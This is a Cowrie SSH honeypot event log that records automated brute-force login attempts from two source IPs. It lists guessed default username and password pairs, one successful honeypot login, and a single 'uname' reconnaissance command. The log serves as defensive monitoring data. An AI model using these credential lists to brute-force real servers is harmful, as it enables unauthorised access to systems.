{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59082,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fdba6484cfb","protocol":"ssh","message":"New connection: 192.109.200.237:59082 (159.203.135.109:22) [session: 9fdba6484cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:18.981983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:18.987111Z","src_ip":"192.109.200.237","session":"9fdba6484cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:19.069050Z","src_ip":"192.109.200.237","session":"9fdba6484cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:19.314780Z","src_ip":"192.109.200.237","session":"9fdba6484cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:20.400014Z","src_ip":"192.109.200.237","session":"9fdba6484cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46904,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a3f94425cc7","protocol":"ssh","message":"New connection: 192.109.200.237:46904 (159.203.135.109:22) [session: 7a3f94425cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.026352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.031482Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.113818Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.359797Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.560961Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.563598Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.647567Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:22.651983Z","src_ip":"192.109.200.237","session":"7a3f94425cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46910,"dst_ip":"159.203.135.109","dst_port":22,"session":"585cfee22f70","protocol":"ssh","message":"New connection: 192.109.200.237:46910 (159.203.135.109:22) [session: 585cfee22f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:25.017635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:25.022639Z","src_ip":"192.109.200.237","session":"585cfee22f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:25.106896Z","src_ip":"192.109.200.237","session":"585cfee22f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:25.394352Z","src_ip":"192.109.200.237","session":"585cfee22f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:26.481216Z","src_ip":"192.109.200.237","session":"585cfee22f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46914,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e07b4e1ebec","protocol":"ssh","message":"New connection: 192.109.200.237:46914 (159.203.135.109:22) [session: 3e07b4e1ebec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.246823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.253990Z","src_ip":"192.109.200.237","session":"3e07b4e1ebec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":45220,"dst_ip":"159.203.135.109","dst_port":22,"session":"043e9513bd9f","protocol":"ssh","message":"New connection: 62.133.62.83:45220 (159.203.135.109:22) [session: 043e9513bd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.328234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.332610Z","src_ip":"62.133.62.83","session":"043e9513bd9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.336457Z","src_ip":"192.109.200.237","session":"3e07b4e1ebec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.410884Z","src_ip":"62.133.62.83","session":"043e9513bd9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.586631Z","src_ip":"192.109.200.237","session":"3e07b4e1ebec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djljktq","message":"login attempt [root/djljktq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:28.647869Z","src_ip":"62.133.62.83","session":"043e9513bd9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:29.671988Z","src_ip":"192.109.200.237","session":"3e07b4e1ebec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:29.729291Z","src_ip":"62.133.62.83","session":"043e9513bd9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57448,"dst_ip":"159.203.135.109","dst_port":22,"session":"357dba0daaba","protocol":"ssh","message":"New connection: 192.109.200.237:57448 (159.203.135.109:22) [session: 357dba0daaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:31.362130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:31.367288Z","src_ip":"192.109.200.237","session":"357dba0daaba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:31.449811Z","src_ip":"192.109.200.237","session":"357dba0daaba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:31.695110Z","src_ip":"192.109.200.237","session":"357dba0daaba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:32.780548Z","src_ip":"192.109.200.237","session":"357dba0daaba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57474,"dst_ip":"159.203.135.109","dst_port":22,"session":"91f5cf19280a","protocol":"ssh","message":"New connection: 192.109.200.237:57474 (159.203.135.109:22) [session: 91f5cf19280a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:34.468122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:34.472274Z","src_ip":"192.109.200.237","session":"91f5cf19280a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:34.553771Z","src_ip":"192.109.200.237","session":"91f5cf19280a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:34.799123Z","src_ip":"192.109.200.237","session":"91f5cf19280a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:35.883779Z","src_ip":"192.109.200.237","session":"91f5cf19280a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57482,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6fe0fb1188","protocol":"ssh","message":"New connection: 192.109.200.237:57482 (159.203.135.109:22) [session: ba6fe0fb1188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:37.588209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:37.592555Z","src_ip":"192.109.200.237","session":"ba6fe0fb1188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:37.674064Z","src_ip":"192.109.200.237","session":"ba6fe0fb1188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:37.919310Z","src_ip":"192.109.200.237","session":"ba6fe0fb1188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:39.003415Z","src_ip":"192.109.200.237","session":"ba6fe0fb1188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59780,"dst_ip":"159.203.135.109","dst_port":22,"session":"9afb3b17a9a8","protocol":"ssh","message":"New connection: 192.109.200.237:59780 (159.203.135.109:22) [session: 9afb3b17a9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:51:40.687084Z"}
